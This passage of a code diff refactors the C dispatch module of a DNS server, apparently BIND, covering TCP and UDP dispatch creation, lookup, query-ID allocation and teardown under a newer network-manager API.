 
 isc_result_t
-dns_dispatch_createtcp(dns_dispatchmgr_t *mgr, isc_socket_t *sock,
-		       isc_taskmgr_t *taskmgr, const isc_sockaddr_t *localaddr,
-		       const isc_sockaddr_t *destaddr, unsigned int buffersize,
-		       unsigned int maxbuffers, unsigned int maxrequests,
-		       unsigned int buckets, unsigned int increment,
-		       unsigned int attributes, dns_dispatch_t **dispp) {
-	isc_result_t result;
-	dns_dispatch_t *disp;
-
-	UNUSED(maxbuffers);
-	UNUSED(buffersize);
+dns_dispatch_createtcp(dns_dispatchmgr_t *mgr, const isc_sockaddr_t *localaddr,
+		       const isc_sockaddr_t *destaddr, dns_dispatch_t **dispp) {
+	dns_dispatch_t *disp = NULL;
 
 	REQUIRE(VALID_DISPATCHMGR(mgr));
-	REQUIRE(isc_socket_gettype(sock) == isc_sockettype_tcp);
-	REQUIRE((attributes & DNS_DISPATCHATTR_TCP) != 0);
-	REQUIRE((attributes & DNS_DISPATCHATTR_UDP) == 0);
-
-	if (destaddr == NULL) {
-		attributes |= DNS_DISPATCHATTR_PRIVATE; /* XXXMLG */
-	}
+	REQUIRE(destaddr != NULL);
 
 	LOCK(&mgr->lock);
 
-	/*
-	 * dispatch_allocate() checks mgr for us.
-	 * qid_allocate() checks buckets and increment for us.
-	 */
-	disp = NULL;
-	result = dispatch_allocate(mgr, maxrequests, &disp);
-	if (result != ISC_R_SUCCESS) {
-		UNLOCK(&mgr->lock);
-		return (result);
-	}
-
-	result = qid_allocate(mgr, buckets, increment, &disp->qid, false);
-	if (result != ISC_R_SUCCESS) {
-		goto deallocate_dispatch;
-	}
-
-	disp->socktype = isc_sockettype_tcp;
-	disp->socket = NULL;
-	isc_socket_attach(sock, &disp->socket);
-
-	disp->sepool = NULL;
+	dispatch_allocate(mgr, isc_socktype_tcp, &disp);
 
-	disp->ntasks = 1;
-	disp->task[0] = NULL;
-	result = isc_task_create(taskmgr, 50, &disp->task[0]);
-	if (result != ISC_R_SUCCESS) {
-		goto kill_socket;
-	}
-
-	disp->ctlevent =
-		isc_event_allocate(mgr->mctx, disp, DNS_EVENT_DISPATCHCONTROL,
-				   destroy_disp, disp, sizeof(isc_event_t));
-
-	isc_task_setname(disp->task[0], "tcpdispatch", disp);
+	disp->peer = *destaddr;
 
-	dns_tcpmsg_init(mgr->mctx, disp->socket, &disp->tcpmsg);
-	disp->tcpmsg_valid = 1;
-
-	disp->attributes = attributes;
-
-	if (localaddr == NULL) {
-		if (destaddr != NULL) {
-			switch (isc_sockaddr_pf(destaddr)) {
-			case AF_INET:
-				isc_sockaddr_any(&disp->local);
-				break;
-			case AF_INET6:
-				isc_sockaddr_any6(&disp->local);
-				break;
-			}
-		}
-	} else {
+	if (localaddr != NULL) {
 		disp->local = *localaddr;
-	}
-
-	if (destaddr != NULL) {
-		disp->peer = *destaddr;
+	} else {
+		int pf;
+		pf = isc_sockaddr_pf(destaddr);
+		isc_sockaddr_anyofpf(&disp->local, pf);
+		isc_sockaddr_setport(&disp->local, 0);
 	}
 
 	/*
 	 * Append it to the dispatcher list.
 	 */
+
+	/* FIXME: There should be a lookup hashtable here */
 	ISC_LIST_APPEND(mgr->list, disp, link);
 	UNLOCK(&mgr->lock);
 
-	mgr_log(mgr, LVL(90), "created TCP dispatcher %p", disp);
-	dispatch_log(disp, LVL(90), "created task %p", disp->task[0]);
-	*dispp = disp;
-
-	return (ISC_R_SUCCESS);
+	if (isc_log_wouldlog(dns_lctx, 90)) {
+		char addrbuf[ISC_SOCKADDR_FORMATSIZE];
 
-kill_socket:
-	isc_socket_detach(&disp->socket);
-deallocate_dispatch:
-	dispatch_free(&disp);
+		isc_sockaddr_format(&disp->local, addrbuf,
+				    ISC_SOCKADDR_FORMATSIZE);
 
-	UNLOCK(&mgr->lock);
+		mgr_log(mgr, LVL(90),
+			"dns_dispatch_createtcp: created TCP dispatch %p for "
+			"%s",
+			disp, addrbuf);
+	}
+	*dispp = disp;
 
-	return (result);
+	return (ISC_R_SUCCESS);
 }
 
 isc_result_t
 dns_dispatch_gettcp(dns_dispatchmgr_t *mgr, const isc_sockaddr_t *destaddr,
-		    const isc_sockaddr_t *localaddr, bool *connected,
-		    dns_dispatch_t **dispp) {
-	dns_dispatch_t *disp;
-	isc_result_t result;
-	isc_sockaddr_t peeraddr;
-	isc_sockaddr_t sockname;
-	unsigned int attributes, mask;
-	bool match = false;
+		    const isc_sockaddr_t *localaddr, dns_dispatch_t **dispp) {
+	dns_dispatch_t *disp_connected = NULL;
+	dns_dispatch_t *disp_fallback = NULL;
+	isc_result_t result = ISC_R_NOTFOUND;
 
 	REQUIRE(VALID_DISPATCHMGR(mgr));
 	REQUIRE(destaddr != NULL);
 	REQUIRE(dispp != NULL && *dispp == NULL);
 
-	/* First pass  */
-	attributes = DNS_DISPATCHATTR_TCP | DNS_DISPATCHATTR_CONNECTED;
-	mask = DNS_DISPATCHATTR_TCP | DNS_DISPATCHATTR_PRIVATE |
-	       DNS_DISPATCHATTR_EXCLUSIVE | DNS_DISPATCHATTR_CONNECTED;
-
 	LOCK(&mgr->lock);
-	disp = ISC_LIST_HEAD(mgr->list);
-	while (disp != NULL && !match) {
+
+	for (dns_dispatch_t *disp = ISC_LIST_HEAD(mgr->list); disp != NULL;
+	     disp = ISC_LIST_NEXT(disp, link))
+	{
+		isc_sockaddr_t sockname;
+		isc_sockaddr_t peeraddr;
+
 		LOCK(&disp->lock);
-		if ((disp->shutting_down == 0) &&
-		    ATTRMATCH(disp->attributes, attributes, mask) &&
-		    (localaddr == NULL ||
-		     isc_sockaddr_eqaddr(localaddr, &disp->local)))
+
+		if (disp->tid != isc_tid()) {
+			UNLOCK(&disp->lock);
+			continue;
+		}
+
+		if (disp->handle != NULL) {
+			sockname = isc_nmhandle_localaddr(disp->handle);
+			peeraddr = isc_nmhandle_peeraddr(disp->handle);
+		} else {
+			sockname = disp->local;
+			peeraddr = disp->peer;
+		}
+
+		/*
+		 * The conditions match:
+		 * 1. socktype is TCP
+		 * 2. destination address is same
+		 * 3. local address is either NULL or same
+		 */
+		if (disp->socktype != isc_socktype_tcp ||
+		    !isc_sockaddr_equal(destaddr, &peeraddr) ||
+		    (localaddr != NULL &&
+		     !isc_sockaddr_eqaddr(localaddr, &sockname)))
 		{
-			result = isc_socket_getsockname(disp->socket,
-							&sockname);
-			if (result == ISC_R_SUCCESS) {
-				result = isc_socket_getpeername(disp->socket,
-								&peeraddr);
+			UNLOCK(&disp->lock);
+			continue;
+		}
+
+		switch (disp->state) {
+		case DNS_DISPATCHSTATE_NONE:
+			/* A dispatch in indeterminate state, skip it */
+			break;
+		case DNS_DISPATCHSTATE_CONNECTED:
+			if (ISC_LIST_EMPTY(disp->active)) {
+				/* Ignore dispatch with no responses */
+				break;
+			}
+			/* We found a connected dispatch */
+			dns_dispatch_attach(disp, &disp_connected);
+			break;
+		case DNS_DISPATCHSTATE_CONNECTING:
+			if (ISC_LIST_EMPTY(disp->pending)) {
+				/* Ignore dispatch with no responses */
+				break;
 			}
-			if (result == ISC_R_SUCCESS &&
-			    isc_sockaddr_equal(destaddr, &peeraddr) &&
-			    (localaddr == NULL ||
-			     isc_sockaddr_eqaddr(localaddr, &sockname)))
-			{
-				/* attach */
-				disp->refcount++;
-				*dispp = disp;
-				match = true;
-				if (connected != NULL) {
-					*connected = true;
-				}
+			/* We found "a" dispatch, store it for later */
+			if (disp_fallback == NULL) {
+				dns_dispatch_attach(disp, &disp_fallback);
 			}
+			break;
+		case DNS_DISPATCHSTATE_CANCELED:
+			/* A canceled dispatch, skip it. */
+			break;
+		default:
+			UNREACHABLE();
 		}
+
 		UNLOCK(&disp->lock);
-		disp = ISC_LIST_NEXT(disp, link);
-	}
-	if (match || connected == NULL) {
-		UNLOCK(&mgr->lock);
-		return (match ? ISC_R_SUCCESS : ISC_R_NOTFOUND);
+
+		if (disp_connected != NULL) {
+			break;
+		}
 	}
 
-	/* Second pass, only if connected != NULL */
-	attributes = DNS_DISPATCHATTR_TCP;
+	if (disp_connected != NULL) {
+		/* We found connected dispatch */
+		INSIST(disp_connected->handle != NULL);
 
-	disp = ISC_LIST_HEAD(mgr->list);
-	while (disp != NULL && !match) {
-		LOCK(&disp->lock);
-		if ((disp->shutting_down == 0) &&
-		    ATTRMATCH(disp->attributes, attributes, mask) &&
-		    (localaddr == NULL ||
-		     isc_sockaddr_eqaddr(localaddr, &disp->local)) &&
-		    isc_sockaddr_equal(destaddr, &disp->peer))
-		{
-			/* attach */
-			disp->refcount++;
-			*dispp = disp;
-			match = true;
+		*dispp = disp_connected;
+		disp_connected = NULL;
+
+		result = ISC_R_SUCCESS;
+
+		if (disp_fallback != NULL) {
+			dns_dispatch_detach(&disp_fallback);
 		}
-		UNLOCK(&disp->lock);
-		disp = ISC_LIST_NEXT(disp, link);
+	} else if (disp_fallback != NULL) {
+		*dispp = disp_fallback;
+
+		result = ISC_R_SUCCESS;
 	}
+
 	UNLOCK(&mgr->lock);
-	return (match ? ISC_R_SUCCESS : ISC_R_NOTFOUND);
+
+	return (result);
 }
 
 isc_result_t
-dns_dispatch_getudp_dup(dns_dispatchmgr_t *mgr, isc_socketmgr_t *sockmgr,
-			isc_taskmgr_t *taskmgr, const isc_sockaddr_t *localaddr,
-			unsigned int buffersize, unsigned int maxbuffers,
-			unsigned int maxrequests, unsigned int buckets,
-			unsigned int increment, unsigned int attributes,
-			unsigned int mask, dns_dispatch_t **dispp,
-			dns_dispatch_t *dup_dispatch) {
+dns_dispatch_createudp(dns_dispatchmgr_t *mgr, const isc_sockaddr_t *localaddr,
+		       dns_dispatch_t **dispp) {
 	isc_result_t result;
 	dns_dispatch_t *disp = NULL;
 
 	REQUIRE(VALID_DISPATCHMGR(mgr));
-	REQUIRE(sockmgr != NULL);
 	REQUIRE(localaddr != NULL);
-	REQUIRE(taskmgr != NULL);
-	REQUIRE(buffersize >= 512 && buffersize < (64 * 1024));
-	REQUIRE(maxbuffers > 0);
-	REQUIRE(buckets < 2097169); /* next prime > 65536 * 32 */
-	REQUIRE(increment > buckets);
 	REQUIRE(dispp != NULL && *dispp == NULL);
-	REQUIRE((attributes & DNS_DISPATCHATTR_TCP) == 0);
 
-	result = dns_dispatchmgr_setudp(mgr, buffersize, maxbuffers,
-					maxrequests, buckets, increment);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
+	LOCK(&mgr->lock);
+	result = dispatch_createudp(mgr, localaddr, &disp);
+	if (result == ISC_R_SUCCESS) {
+		*dispp = disp;
 	}
+	UNLOCK(&mgr->lock);
 
-	LOCK(&mgr->lock);
+	return (result);
+}
 
-	if ((attributes & DNS_DISPATCHATTR_EXCLUSIVE) != 0) {
-		REQUIRE(isc_sockaddr_getport(localaddr) == 0);
-		goto createudp;
-	}
+static isc_result_t
+dispatch_createudp(dns_dispatchmgr_t *mgr, const isc_sockaddr_t *localaddr,
+		   dns_dispatch_t **dispp) {
+	isc_result_t result = ISC_R_SUCCESS;
+	dns_dispatch_t *disp = NULL;
+	isc_sockaddr_t sa_any;
 
 	/*
-	 * See if we have a dispatcher that matches.
+	 * Check whether this address/port is available locally.
 	 */
-	if (dup_dispatch == NULL) {
-		result = dispatch_find(mgr, localaddr, attributes, mask, &disp);
-		if (result == ISC_R_SUCCESS) {
-			disp->refcount++;
-
-			if (disp->maxrequests < maxrequests) {
-				disp->maxrequests = maxrequests;
-			}
-
-			if ((disp->attributes & DNS_DISPATCHATTR_NOLISTEN) ==
-				    0 &&
-			    (attributes & DNS_DISPATCHATTR_NOLISTEN) != 0)
-			{
-				disp->attributes |= DNS_DISPATCHATTR_NOLISTEN;
-				if (disp->recv_pending != 0) {
-					isc_socket_cancel(disp->socket,
-							  disp->task[0],
-							  ISC_SOCKCANCEL_RECV);
-				}
-			}
+	isc_sockaddr_anyofpf(&sa_any, isc_sockaddr_pf(localaddr));
+	if (!isc_sockaddr_eqaddr(&sa_any, localaddr)) {
+		result = isc_nm_checkaddr(localaddr, isc_socktype_udp);
+		if (result != ISC_R_SUCCESS) {
+			return (result);
+		}
+	}
 
-			UNLOCK(&disp->lock);
-			UNLOCK(&mgr->lock);
+	dispatch_allocate(mgr, isc_socktype_udp, &disp);
 
-			*dispp = disp;
+	if (isc_log_wouldlog(dns_lctx, 90)) {
+		char addrbuf[ISC_SOCKADDR_FORMATSIZE];
 
-			return (ISC_R_SUCCESS);
-		}
+		isc_sockaddr_format(localaddr, addrbuf,
+				    ISC_SOCKADDR_FORMATSIZE);
+		mgr_log(mgr, LVL(90),
+			"dispatch_createudp: created UDP dispatch %p for %s",
+			disp, addrbuf);
 	}
 
-createudp:
+	disp->local = *localaddr;
+
 	/*
-	 * Nope, create one.
+	 * Don't append it to the dispatcher list, we don't care about UDP, only
+	 * TCP should be searched
+	 *
+	 * ISC_LIST_APPEND(mgr->list, disp, link);
 	 */
-	result = dispatch_createudp(
-		mgr, sockmgr, taskmgr, localaddr, maxrequests, attributes,
-		&disp, dup_dispatch == NULL ? NULL : dup_dispatch->socket);
-
-	if (result != ISC_R_SUCCESS) {
-		UNLOCK(&mgr->lock);
-		return (result);
-	}
 
-	UNLOCK(&mgr->lock);
 	*dispp = disp;
 
-	return (ISC_R_SUCCESS);
+	return (result);
 }
 
-isc_result_t
-dns_dispatch_getudp(dns_dispatchmgr_t *mgr, isc_socketmgr_t *sockmgr,
-		    isc_taskmgr_t *taskmgr, const isc_sockaddr_t *localaddr,
-		    unsigned int buffersize, unsigned int maxbuffers,
-		    unsigned int maxrequests, unsigned int buckets,
-		    unsigned int increment, unsigned int attributes,
-		    unsigned int mask, dns_dispatch_t **dispp) {
-	return (dns_dispatch_getudp_dup(mgr, sockmgr, taskmgr, localaddr,
-					buffersize, maxbuffers, maxrequests,
-					buckets, increment, attributes, mask,
-					dispp, NULL));
-}
+static void
+dispatch_destroy(dns_dispatch_t *disp) {
+	dns_dispatchmgr_t *mgr = disp->mgr;
 
-/*
- * mgr should be locked.
- */
+	isc_refcount_destroy(&disp->references);
+	disp->magic = 0;
 
-#ifndef DNS_DISPATCH_HELD
-#define DNS_DISPATCH_HELD 20U
-#endif /* ifndef DNS_DISPATCH_HELD */
+	LOCK(&mgr->lock);
+	if (ISC_LINK_LINKED(disp, link)) {
+		ISC_LIST_UNLINK(disp->mgr->list, disp, link);
+	}
+	UNLOCK(&mgr->lock);
 
-static isc_result_t
-get_udpsocket(dns_dispatchmgr_t *mgr, dns_dispatch_t *disp,
-	      isc_socketmgr_t *sockmgr, const isc_sockaddr_t *localaddr,
-	      isc_socket_t **sockp, isc_socket_t *dup_socket, bool duponly) {
-	unsigned int i, j;
-	isc_socket_t *held[DNS_DISPATCH_HELD];
-	isc_sockaddr_t localaddr_bound;
-	isc_socket_t *sock = NULL;
-	isc_result_t result = ISC_R_SUCCESS;
-	bool anyport;
+	INSIST(disp->requests == 0);
+	INSIST(ISC_LIST_EMPTY(disp->pending));
+	INSIST(ISC_LIST_EMPTY(disp->active));
 
-	INSIST(sockp != NULL && *sockp == NULL);
+	INSIST(!ISC_LINK_LINKED(disp, link));
 
-	localaddr_bound = *localaddr;
-	anyport = (isc_sockaddr_getport(localaddr) == 0);
+	dispatch_log(disp, LVL(90), "destroying dispatch %p", disp);
 
-	if (anyport) {
-		unsigned int nports;
-		in_port_t *ports;
+	if (disp->handle) {
+		dispatch_log(disp, LVL(90), "detaching TCP handle %p from %p",
+			     disp->handle, &disp->handle);
+		isc_nmhandle_detach(&disp->handle);
+	}
 
-		/*
-		 * If no port is specified, we first try to pick up a random
-		 * port by ourselves.
-		 */
-		if (isc_sockaddr_pf(localaddr) == AF_INET) {
-			nports = disp->mgr->nv4ports;
-			ports = disp->mgr->v4ports;
-		} else {
-			nports = disp->mgr->nv6ports;
-			ports = disp->mgr->v6ports;
-		}
-		if (nports == 0) {
-			return (ISC_R_ADDRNOTAVAIL);
-		}
+	isc_mutex_destroy(&disp->lock);
 
-		for (i = 0; i < 1024; i++) {
-			in_port_t prt;
+	isc_mem_put(mgr->mctx, disp, sizeof(*disp));
 
-			prt = ports[isc_random_uniform(nports)];
-			isc_sockaddr_setport(&localaddr_bound, prt);
-			result = open_socket(sockmgr, &localaddr_bound, 0,
-					     &sock, NULL, false);
-			/*
-			 * Continue if the port chosen is already in use
-			 * or the OS has reserved it.
-			 */
-			if (result == ISC_R_NOPERM || result == ISC_R_ADDRINUSE)
-			{
-				continue;
-			}
-			disp->localport = prt;
-			*sockp = sock;
-			return (result);
-		}
+	/*
+	 * Because dispatch uses mgr->mctx, we must detach after freeing
+	 * dispatch, not before.
+	 */
+	dns_dispatchmgr_detach(&mgr);
+}
 
-		/*
-		 * If this fails 1024 times, we then ask the kernel for
-		 * choosing one.
-		 */
-	} else {
-		/* Allow to reuse address for non-random ports. */
-		result = open_socket(sockmgr, localaddr,
-				     ISC_SOCKET_REUSEADDRESS, &sock, dup_socket,
-				     duponly);
+#if DNS_DISPATCH_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_dispatch, dispatch_destroy);
+#else
+ISC_REFCOUNT_IMPL(dns_dispatch, dispatch_destroy);
+#endif
 
-		if (result == ISC_R_SUCCESS) {
-			*sockp = sock;
-		}
+isc_result_t
+dns_dispatch_add(dns_dispatch_t *disp, isc_loop_t *loop, unsigned int options,
+		 unsigned int timeout, const isc_sockaddr_t *dest,
+		 dns_transport_t *transport, isc_tlsctx_cache_t *tlsctx_cache,
+		 dispatch_cb_t connected, dispatch_cb_t sent,
+		 dispatch_cb_t response, void *arg, dns_messageid_t *idp,
+		 dns_dispentry_t **respp) {
+	dns_dispentry_t *resp = NULL;
+	dns_qid_t *qid = NULL;
+	in_port_t localport;
+	dns_messageid_t id;
+	unsigned int bucket;
+	bool ok = false;
+	int i = 0;
 
-		return (result);
-	}
+	REQUIRE(VALID_DISPATCH(disp));
+	REQUIRE(dest != NULL);
+	REQUIRE(respp != NULL && *respp == NULL);
+	REQUIRE(idp != NULL);
+	REQUIRE(disp->socktype == isc_socktype_tcp ||
+		disp->socktype == isc_socktype_udp);
+	REQUIRE(connected != NULL);
+	REQUIRE(response != NULL);
+	REQUIRE(sent != NULL);
+	REQUIRE(loop != NULL);
 
-	memset(held, 0, sizeof(held));
-	i = 0;
+	LOCK(&disp->lock);
 
-	for (j = 0; j < 0xffffU; j++) {
-		result = open_socket(sockmgr, localaddr, 0, &sock, NULL, false);
+	if (disp->state == DNS_DISPATCHSTATE_CANCELED) {
+		UNLOCK(&disp->lock);
+		return (ISC_R_CANCELED);
+	}
+
+	qid = disp->mgr->qid;
+
+	localport = isc_sockaddr_getport(&disp->local);
+
+	resp = isc_mem_get(disp->mgr->mctx, sizeof(*resp));
+	*resp = (dns_dispentry_t){
+		.port = localport,
+		.timeout = timeout,
+		.peer = *dest,
+		.loop = loop,
+		.connected = connected,
+		.sent = sent,
+		.response = response,
+		.arg = arg,
+		.link = ISC_LINK_INITIALIZER,
+		.alink = ISC_LINK_INITIALIZER,
+		.plink = ISC_LINK_INITIALIZER,
+		.rlink = ISC_LINK_INITIALIZER,
+		.magic = RESPONSE_MAGIC,
+	};
+
+#if DNS_DISPATCH_TRACE
+	fprintf(stderr, "dns_dispentry__init:%s:%s:%d:%p->references = 1\n",
+		__func__, __FILE__, __LINE__, resp);
+#endif
+	isc_refcount_init(&resp->references, 1); /* DISPENTRY000 */
+
+	if (disp->socktype == isc_socktype_udp) {
+		isc_result_t result = setup_socket(disp, resp, dest,
+						   &localport);
 		if (result != ISC_R_SUCCESS) {
-			goto end;
-		} else if (portavailable(mgr, sock, NULL)) {
-			break;
-		}
-		if (held[i] != NULL) {
-			isc_socket_detach(&held[i]);
-		}
-		held[i++] = sock;
-		sock = NULL;
-		if (i == DNS_DISPATCH_HELD) {
-			i = 0;
-		}
-	}
-	if (j == 0xffffU) {
-		mgr_log(mgr, ISC_LOG_ERROR,
-			"avoid-v%s-udp-ports: unable to allocate "
-			"an available port",
-			isc_sockaddr_pf(localaddr) == AF_INET ? "4" : "6");
-		result = ISC_R_FAILURE;
-		goto end;
-	}
-	*sockp = sock;
-
-end:
-	for (i = 0; i < DNS_DISPATCH_HELD; i++) {
-		if (held[i] != NULL) {
-			isc_socket_detach(&held[i]);
+			isc_mem_put(disp->mgr->mctx, resp, sizeof(*resp));
+			UNLOCK(&disp->lock);
+			inc_stats(disp->mgr, dns_resstatscounter_dispsockfail);
+			return (result);
 		}
 	}
 
-	return (result);
-}
-
-static isc_result_t
-dispatch_createudp(dns_dispatchmgr_t *mgr, isc_socketmgr_t *sockmgr,
-		   isc_taskmgr_t *taskmgr, const isc_sockaddr_t *localaddr,
-		   unsigned int maxrequests, unsigned int attributes,
-		   dns_dispatch_t **dispp, isc_socket_t *dup_socket) {
-	isc_result_t result;
-	dns_dispatch_t *disp;
-	isc_socket_t *sock = NULL;
-	int i = 0;
-	bool duponly = ((attributes & DNS_DISPATCHATTR_CANREUSE) == 0);
-
-	/* This is an attribute needed only at creation time */
-	attributes &= ~DNS_DISPATCHATTR_CANREUSE;
 	/*
-	 * dispatch_allocate() checks mgr for us.
+	 * Try somewhat hard to find a unique ID. Start with
+	 * a random number unless DNS_DISPATCHOPT_FIXEDID is set,
+	 * in which case we start with the ID passed in via *idp.
 	 */
-	disp = NULL;
-	result = dispatch_allocate(mgr, maxrequests, &disp);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
+	if ((options & DNS_DISPATCHOPT_FIXEDID) != 0) {
+		id = *idp;
+	} else {
+		id = (dns_messageid_t)isc_random16();
 	}
 
-	disp->socktype = isc_sockettype_udp;
-
-	if ((attributes & DNS_DISPATCHATTR_EXCLUSIVE) == 0) {
-		result = get_udpsocket(mgr, disp, sockmgr, localaddr, &sock,
-				       dup_socket, duponly);
-		if (result != ISC_R_SUCCESS) {
-			goto deallocate_dispatch;
-		}
-
-		if (isc_log_wouldlog(dns_lctx, 90)) {
-			char addrbuf[ISC_SOCKADDR_FORMATSIZE];
-
-			isc_sockaddr_format(localaddr, addrbuf,
-					    ISC_SOCKADDR_FORMATSIZE);
-			mgr_log(mgr, LVL(90),
-				"dns_dispatch_createudp: Created"
-				" UDP dispatch for %s with socket fd %d",
-				addrbuf, isc_socket_getfd(sock));
+	LOCK(&qid->lock);
+	do {
+		dns_dispentry_t *entry = NULL;
+		bucket = dns_hash(qid, dest, id, localport);
+		entry = entry_search(qid, dest, id, localport, bucket);
+		if (entry == NULL) {
+			ok = true;
+			break;
 		}
-	} else {
-		isc_sockaddr_t sa_any;
-
-		/*
-		 * For dispatches using exclusive sockets with a specific
-		 * source address, we only check if the specified address is
-		 * available on the system.  Query sockets will be created later
-		 * on demand.
-		 */
-		isc_sockaddr_anyofpf(&sa_any, isc_sockaddr_pf(localaddr));
-		if (!isc_sockaddr_eqaddr(&sa_any, localaddr)) {
-			result = open_socket(sockmgr, localaddr, 0, &sock, NULL,
-					     false);
-			if (sock != NULL) {
-				isc_socket_detach(&sock);
-			}
-			if (result != ISC_R_SUCCESS) {
-				goto deallocate_dispatch;
-			}
+		if ((options & DNS_DISPATCHOPT_FIXEDID) != 0) {
+			/* When using fixed ID, we either must use it or fail */
+			break;
 		}
+		id += qid->qid_increment;
+		id &= 0x0000ffff;
+	} while (i++ < 64);
 
-		disp->port_table = isc_mem_get(
-			mgr->mctx, sizeof(disp->port_table[0]) *
-					   DNS_DISPATCH_PORTTABLESIZE);
-		for (i = 0; i < DNS_DISPATCH_PORTTABLESIZE; i++) {
-			ISC_LIST_INIT(disp->port_table[i]);
-		}
+	if (ok) {
+		resp->id = id;
+		resp->bucket = bucket;
+		ISC_LIST_APPEND(qid->qid_table[bucket], resp, link);
+	}
+	UNLOCK(&qid->lock);
 
-		isc_mempool_create(mgr->mctx, sizeof(dispportentry_t),
-				   &disp->portpool);
-		isc_mempool_setname(disp->portpool, "disp_portpool");
-		isc_mempool_setfreemax(disp->portpool, 128);
+	if (!ok) {
+		isc_mem_put(disp->mgr->mctx, resp, sizeof(*resp));
+		UNLOCK(&disp->lock);
+		return (ISC_R_NOMORE);
 	}
-	disp->socket = sock;
-	disp->local = *localaddr;
 
-	if ((attributes & DNS_DISPATCHATTR_EXCLUSIVE) != 0) {
-		disp->ntasks = MAX_INTERNAL_TASKS;
-	} else {
-		disp->ntasks = 1;
+	if (transport != NULL) {
+		dns_transport_attach(transport, &resp->transport);
 	}
-	for (i = 0; i < disp->ntasks; i++) {
-		disp->task[i] = NULL;
-		result = isc_task_create(taskmgr, 0, &disp->task[i]);
-		if (result != ISC_R_SUCCESS) {
-			while (--i >= 0) {
-				isc_task_shutdown(disp->task[i]);
-				isc_task_detach(&disp->task[i]);
-			}
-			goto kill_socket;
-		}
-		isc_task_setname(disp->task[i], "udpdispatch", disp);
+
+	if (tlsctx_cache != NULL) {
+		isc_tlsctx_cache_attach(tlsctx_cache, &resp->tlsctx_cache);
 	}
 
-	disp->ctlevent =
-		isc_event_allocate(mgr->mctx, disp, DNS_EVENT_DISPATCHCONTROL,
-				   destroy_disp, disp, sizeof(isc_event_t));
+	dns_dispatch_attach(disp, &resp->disp); /* DISPATCH001 */
 
-	disp->sepool = NULL;
-	isc_mempool_create(mgr->mctx, sizeof(isc_socketevent_t), &disp->sepool);
+	disp->requests++;
 
-	isc_mutex_init(&disp->sepool_lock);
+	inc_stats(disp->mgr, (disp->socktype == isc_socktype_udp)
+				     ? dns_resstatscounter_disprequdp
+				     : dns_resstatscounter_dispreqtcp);
 
-	isc_mempool_setname(disp->sepool, "disp_sepool");
-	isc_mempool_setmaxalloc(disp->sepool, 32768);
-	isc_mempool_setfreemax(disp->sepool, 32768);
-	isc_mempool_associatelock(disp->sepool, &disp->sepool_lock);
-	isc_mempool_setfillcount(disp->sepool, 16);
+	UNLOCK(&disp->lock);
 
-	attributes &= ~DNS_DISPATCHATTR_TCP;
-	attributes |= DNS_DISPATCHATTR_UDP;
-	disp->attributes = attributes;
+	*idp = id;
+	*respp = resp;
 
-	/*
-	 * Append it to the dispatcher list.
-	 */
-	ISC_LIST_APPEND(mgr->list, disp, link);
+	return (ISC_R_SUCCESS);
+}
 
-	mgr_log(mgr, LVL(90), "created UDP dispatcher %p", disp);
-	dispatch_log(disp, LVL(90), "created task %p", disp->task[0]); /* XXX */
-	if (disp->socket != NULL) {
-		dispatch_log(disp, LVL(90), "created socket %p", disp->socket);
-	}
+isc_result_t
+dns_dispatch_getnext(dns_dispentry_t *resp) {
+	REQUIRE(VALID_RESPONSE(resp));
+	REQUIRE(VALID_DISPATCH(resp->disp));
 
-	*dispp = disp;
+	dns_dispatch_t *disp = resp->disp;
+	isc_result_t result = ISC_R_SUCCESS;
+	int32_t timeout = -1;
 
-	return (result);
+	dispentry_log(resp, LVL(90), "getnext for QID %d", resp->id);
 
-	/*
-	 * Error returns.
-	 */
-kill_socket:
-	if (disp->socket != NULL) {
-		isc_socket_detach(&disp->socket);
+	isc_time_t now = isc_loop_now(resp->loop);
+	timeout = resp->timeout - dispentry_runtime(resp, &now);
+	if (timeout <= 0) {
+		return (ISC_R_TIMEDOUT);
+	}
+
+	LOCK(&disp->lock);
+	switch (disp->socktype) {
+	case isc_socktype_udp:
+		udp_dispatch_getnext(resp, timeout);
+		break;
+	case isc_socktype_tcp:
+		tcp_dispatch_getnext(disp, resp, timeout);
+		break;
+	default:
+		UNREACHABLE();
 	}
-deallocate_dispatch:
-	dispatch_free(&disp);
+	UNLOCK(&disp->lock);
 
 	return (result);
 }
 
-void
-dns_dispatch_attach(dns_dispatch_t *disp, dns_dispatch_t **dispp) {
-	REQUIRE(VALID_DISPATCH(disp));
-	REQUIRE(dispp != NULL && *dispp == NULL);
+static void
+udp_dispentry_cancel(dns_dispentry_t *resp, isc_result_t result) {
+	REQUIRE(VALID_RESPONSE(resp));
+	REQUIRE(VALID_DISPATCH(resp->disp));
+	REQUIRE(VALID_DISPATCHMGR(resp->disp->mgr));
+
+	dns_dispatch_t *disp = resp->disp;
+	dns_dispatchmgr_t *mgr = disp->mgr;
+	dns_qid_t *qid = mgr->qid;
+	bool respond = false;
 
 	LOCK(&disp->lock);
-	disp->refcount++;
-	UNLOCK(&disp->lock);
+	dispentry_log(resp, LVL(90),
+		      "canceling response: %s, %s/%s (%s/%s), "
+		      "requests %u",
+		      isc_result_totext(result), state2str(resp->state),
+		      resp->reading ? "reading" : "not reading",
+		      state2str(disp->state),
+		      disp->reading ? "reading" : "not reading",
+		      disp->requests);
 
-	*dispp = disp;
-}
+	if (ISC_LINK_LINKED(resp, alink)) {
+		ISC_LIST_UNLINK(disp->active, resp, alink);
+	}
 
-/*
- * It is important to lock the manager while we are deleting the dispatch,
- * since dns_dispatch_getudp will call dispatch_find, which returns to
- * the caller a dispatch but does not attach to it until later.  _getudp
- * locks the manager, however, so locking it here will keep us from attaching
- * to a dispatcher that is in the process of going away.
- */
-void
-dns_dispatch_detach(dns_dispatch_t **dispp) {
-	dns_dispatch_t *disp;
-	dispsocket_t *dispsock;
-	bool killit;
+	switch (resp->state) {
+	case DNS_DISPATCHSTATE_NONE:
+		break;
 
-	REQUIRE(dispp != NULL && VALID_DISPATCH(*dispp));
+	case DNS_DISPATCHSTATE_CONNECTING:
+		break;
 
-	disp = *dispp;
-	*dispp = NULL;
+	case DNS_DISPATCHSTATE_CONNECTED:
+		if (resp->reading) {
+			respond = true;
+			dispentry_log(resp, LVL(90), "canceling read on %p",
+				      resp->handle);
+			isc_nm_cancelread(resp->handle);
+		}
+		break;
 
-	LOCK(&disp->lock);
+	case DNS_DISPATCHSTATE_CANCELED:
+		goto unlock;
 
-	INSIST(disp->refcount > 0);
-	disp->refcount--;
-	if (disp->refcount == 0) {
-		if (disp->recv_pending > 0) {
-			isc_socket_cancel(disp->socket, disp->task[0],
